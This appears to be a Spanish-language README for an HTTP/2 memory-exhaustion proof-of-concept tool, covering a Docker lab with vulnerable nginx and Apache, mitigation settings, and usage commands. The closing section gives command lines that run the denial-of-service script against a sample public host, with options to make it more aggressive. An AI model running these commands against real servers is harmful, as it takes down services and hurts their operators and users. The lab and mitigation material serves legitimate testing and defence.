README.md
Rendering markdown...
Iniciar entorno vulnerable
bash
docker-compose up -d
Servidores disponibles
nginx vulnerable: http://localhost:8080
Apache vulnerable: http://localhost:8081
Probar contra laboratorio
bash
python3 http2_bomb.py localhost 8080 --no-ssl
Mitigación
nginx
nginx
# Actualizar a versión 1.29.8+
# Agregar directiva en configuración
max_headers 1000;
# Si no puede actualizar, deshabilitar HTTP/2
http2 off;
Apache httpd
apache
# Actualizar mod_http2 a v2.0.41
# O deshabilitar HTTP/2
Protocols http/1.1
IIS / Envoy / Pingora
powershell
# Deshabilitar HTTP/2 en IIS
# 1. Abrir Administrador de IIS
# 2. Seleccionar sitio
# 3. En "Bindings", editar https
# 4. Desmarcar HTTP/2
Mitigación General
bash
# Limitar memoria por trabajador (Linux)
ulimit -v 1048576 # 1 GB por proceso
# En contenedores Docker
--memory="1g" --memory-swap="1g"
Uso del POC funcional:
# Probar contra un servidor vulnerable
python3 http2_bomb.py ejemplo.com 443
# Ataque con 4 hilos (más agresivo)
python3 http2_bomb.py ejemplo.com 443 --threads 4
# Aumentar número de referencias (más memoria consumida)
python3 http2_bomb.py ejemplo.com 443 --headers 10000
# Probar contra HTTP/2 sin TLS (puerto 80)
python3 http2_bomb.py ejemplo.com 80 --no-ssl